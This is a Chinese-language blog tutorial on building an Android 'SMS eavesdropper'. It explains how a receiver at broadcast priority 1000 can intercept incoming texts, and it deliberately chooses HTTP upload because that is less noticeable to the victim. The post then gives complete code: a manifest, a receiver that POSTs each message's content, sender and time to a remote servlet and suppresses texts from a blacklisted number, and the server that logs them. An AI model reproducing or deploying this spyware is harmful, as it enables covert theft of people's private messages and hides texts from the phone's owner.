您的位置:首页 > 移动开发 > Android开发

Android--短信窃听器及黑名单拦截

2013-01-26 16:42 288 查看

一、短信窃听器原理:

   当系统收到短信时,会发出一个广播Intent,Intent的action名称为android.provider.Telephony.SMS_RECEIVED,该Intent存放了系统接收到的短信内容,

  我们使用名称“pdus”既可以从Intent中户取到短信内容

二、获取窃听信息的方式有两种:

    一种将窃听的短信以短信转发的方式将短信发送给窃听者,需要走短信通道,所以扣除用户的费用,容易被发现。

    一种将窃听的短信息发送到web应用,因为走的是互联网络通道,所以无法查询访问了哪些网站,数据量较少,产生的流量费也不多,所以这种方式比较好。

  这里选用第二种方式

三、广播分为两种不同的类型:“普通广播(Normal broadcast)和”有序广播(Ordered broadcast)

    普通广播

       完全异步的,可以在同一时刻(逻辑上)被所欲接收者接收到,相对有序广播消息传递的效率比较高,缺点:接收者不能将处理结果传递给下一个接收者,

       并且无法终止广播Intent的传播。

    有序广播

      按照接收者声明的优先级别,被接收者依次接收广播。如:A的优先级高于B,B的优先级高于C,那么,广播先传给A,再传给B,最后传给C。优先级别在

     <intent-filter>的android.priority属性中声明,数值越大优先级越高,取值范围:-1000到1000,优先级别也可以调用IntentFilter对象的setPrority()进行设置。

   有序广播的接收者可以终止广播Intent的广播,广播Intent一旦终止,后面跟的接收者就无法接收到广播。另外,有序广播的接收者可以将数据传递给下一个

   接收者,如:A得到广播后,可以往它的结果独享中存入数据,当广播传给B时,B可以从A的结果对象中得到A存入的数据。

四、发送两种广播方式的方法

Context.sendBroadcast()

发送的是普通广播,所有订阅者都有机会获得并进行处理

Context.sendOrderedBroadcast()

发送有序广播,系统会根据接收者声明的优先级别按顺序逐个执行接收者,前面的接收者有权终止广播。

对于有序广播,前面的接收者可以将数据通过setResultExtras(Bundle)方法存放进结果对象。然后传给下一个接收者,下一个接收者通

过代码:Bundle bundle = getResultExtras(true)可以获取上一个接收者存入在结果对象中的数据。

五、短信黑名单拦截的原理

系统受到短信,发出的广播属于有序广播。所以可以通过设置优先级,让自定义的接收者先获取到广播,然后终止广播,这样用户就接收不到短信了。

六、短信窃听器及黑名单拦截代码

演示过程:

开启两个Android模拟器,将该窃听器发布到一个模拟器5554上,用另外一个模拟器5556向5554发送信息,可以看到在控制台上打印了信息内容,时间,发送者等信息,而5554却没有任何响应,即没有收到信息

发现的错误:

    在注册广播时,将intent-filter的配置在了<receiver>外面,以至于没有注册成功,无法启动SMSBroadcastReceiver,在服务端一直未获得数据。

AndroidMainfest.xml 

    进行广播接收注册,短信,网络访问权限以及意图匹配

   在<intent-filter>的android.priority属性中进行优先级声明,这里为最大1000

<application android:label="@string/app_name"
android:icon="@drawable/ic_launcher"
android:theme="@style/AppTheme">

<receiver android:name = ".SMSBroadcastReceiver">
<!-- 意图过滤器  -->
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
</application>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>


短信广播接收者

   在本应用中不需要创建Activity,只需创建一个短信接收继承自广播接收者即可

   在该类中提供了:

     获取短信息以及其更具体信息的方法

     由于我们要将信息发送到网络上,所以创建一个实现该功能的方法sendSMS2Web,该方法主要实现如何发送请求,以及请求的实体数据向服务器,以便获得服务

package cn.xushuai.smslistener;

import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
import java.text.SimpleDateFormat;
import java.util.Date;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;

//接收短信的广播接收者
public class SMSBroadcastReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for(Object obj : pdus){
byte[] pdu = (byte[]) obj;//将对象转换为字节数组
SmsMessage message = SmsMessage.createFromPdu(pdu);//使用pdu格式的数据生成短信对象
String content = message.getMessageBody();
Date date = new Date(message.getTimestampMillis());//获取发送时间
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String receiveTime = format.format(date);//获取指定格式发送日期
String senderNumber = message.getOriginatingAddress();//发送者的号码
System.out.println(receiveTime+".."+senderNumber);
//将数据发送到网络
sendSMS2Web(content,receiveTime,senderNumber);

if("15555215556".equals(senderNumber)){
abortBroadcast();
}
}

}

private boolean sendSMS2Web(String content, String receiveTime,String senderNumber){
try{
//构建实体数据
String params = "content="+URLEncoder.encode(content, "UTF-8")+
"&receivetime="+receiveTime+"&sendernumber="+senderNumber;
byte[] entity = params.getBytes();
String path = "http://10.1.8.153:8080/SMSServer/ReceiveSMSServlet";
HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();
conn.setConnectTimeout(5000);
conn.setRequestMethod("POST");
conn.setDoOutput(true);//允许对外输出数据
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
conn.getOutputStream().write(entity);
if(conn.getResponseCode()==200){
return true;
}
}catch(Exception e){
e.printStackTrace();
}
return false;
}

}


服务器

使用tomcat服务器创建一个web服务器,并提供一个ReceiveSMSServlet来提供信息的处理,这里打印到控制台

package cn.xushuai.servlet;

import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class ReceiveSMSServlet extends HttpServlet {
private static final long serialVersionUID = 1L;

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request,response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String content = request.getParameter("content");
String receiveTime = request.getParameter("receivetime");
String senderNumber = request.getParameter("sendernumber");
System.out.println("短信内容:"+content);
System.out.println("接收时间:"+receiveTime);
System.out.println("短信发送者:"+senderNumber);
}

}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: